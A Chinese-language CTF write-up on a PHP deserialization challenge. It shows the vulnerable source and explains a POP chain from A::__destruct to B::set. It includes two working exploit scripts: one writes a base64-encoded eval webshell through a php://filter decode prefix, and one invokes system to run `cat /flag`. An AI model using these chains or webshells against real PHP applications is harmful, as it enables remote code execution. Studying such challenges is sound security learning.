这题和EZPOP基本差不多,拿出来一起写一下顺便好好学一下反序列化,太菜了、基本的pop链还没弄清晰。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | <?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { // 使缓存文件名随机 $cache_filename = $this->options['prefix'] . uniqid() . $name; if(substr($cache_filename, -strlen('.php')) === '.php') { die('?'); } return $cache_filename; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "" . $data; $result = file_put_contents($filename, $data); if ($result) { return $filename; } return null; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]); |
我吐了这个代码引用会自动解析闭合标签
打开给了源码。看到unserlialise知道是一道反序列化题了,看看怎么构造pop链
首先找一下入口方法。在A类的__destruct(),调用本类的save,通过构造A的$store为B对象,从而在A类的save()中调用B类的set
在B类的set中最终完成shell的写入
然后审计一下B类
在这里是命名
这里发现如果写入shell会拼接其他的PHP代码导致shell失败,如何绕过呢?
file_put_contents
是支持php
伪协议的,通过php://filter/write=convert.base64-decode/
来将
$data
全部用base64
解码转化过后再写入文件中,其中前面拼接部分会被强制解码,从而变成一堆乱码。而我们写入的shell(base64编码后的)
会解码成正常的木马文件
$b->options['prefix']='php://filter/write=convert.base64-decode/resource=./uploads/';
已经可以确定了。
然后我们看一下内容如何生成
发现关键是$a->catch
的构造。在cleanContents()
中,array_intersect_key()
是比较两个数组的键名,并返回交集。所以我们$object
的键选$cachedProperties
中任意一个都行,这里选择path
。值就是我们的shell
的base64
编码,
JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==
。
所以
$object = array("path"=>"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ==");
如果我们设值$path='1',$complete='2'
,则最后得到的$contents
会是
[{"1":{"path":"JTNDJTNGcGhwJTIwZXZhbCUyOCUyNF9HRVQlNUIlMjd6eiUyNyU1RCUyOSUzQiUzRiUzRQ=="}},"2"]
其中$complete='2'
因为在shell
后面,所以并不影响解码。在本地试了试,发现$path='111'
时,可以正常解码shell
。这样的话,$data
已经设置完毕。
别的就是一些判断条件的参数,最终的exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <?php class A{ protected $store; protected $key; protected $expire; public function __construct() { $this->key = '/../ha1c9on.php/.'; } public function start($tmp){ $this->store = $tmp; } } class B{ public $options; } $a = new A(); $b = new B(); $b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=uploads/"; $b->options['expire'] = 11; $b->options['data_compress'] = false; $b->options['serialize'] = 'strval'; $a->start($b); $object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg"); $path = '111'; $a->cache = array($path=>$object); $a->complete = '2'; echo urlencode(serialize($a)); |
这是EZPOP的思路,这题使得文件名随机且后缀非PHP,所以我们看看如何绕过
看到师傅的WP,是直接写入一个cat/flag 的命令进去,不写webshell获得flag
学到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | <?php class A{ protected $store; protected $key; protected $expire; public $cache = []; public $complete = true; public function __construct () { $this->store = new B(); $this->key = '/../wtz.phtml'; $this->cache = ['path'=>'a','dirname'=>'`cat /flag > ./uploads/flag.php`']; } } class B{ public $options = [ 'serialize' => 'system', 'prefix' => 'sssss', ]; } echo urlencode(serialize(new A())); |
获得的反序列化传入即可
参考:https://www.cnblogs.com/wangtanzhi/p/12337443.html
看到师傅们还有先传入.user.ini后传入图片马的。学到了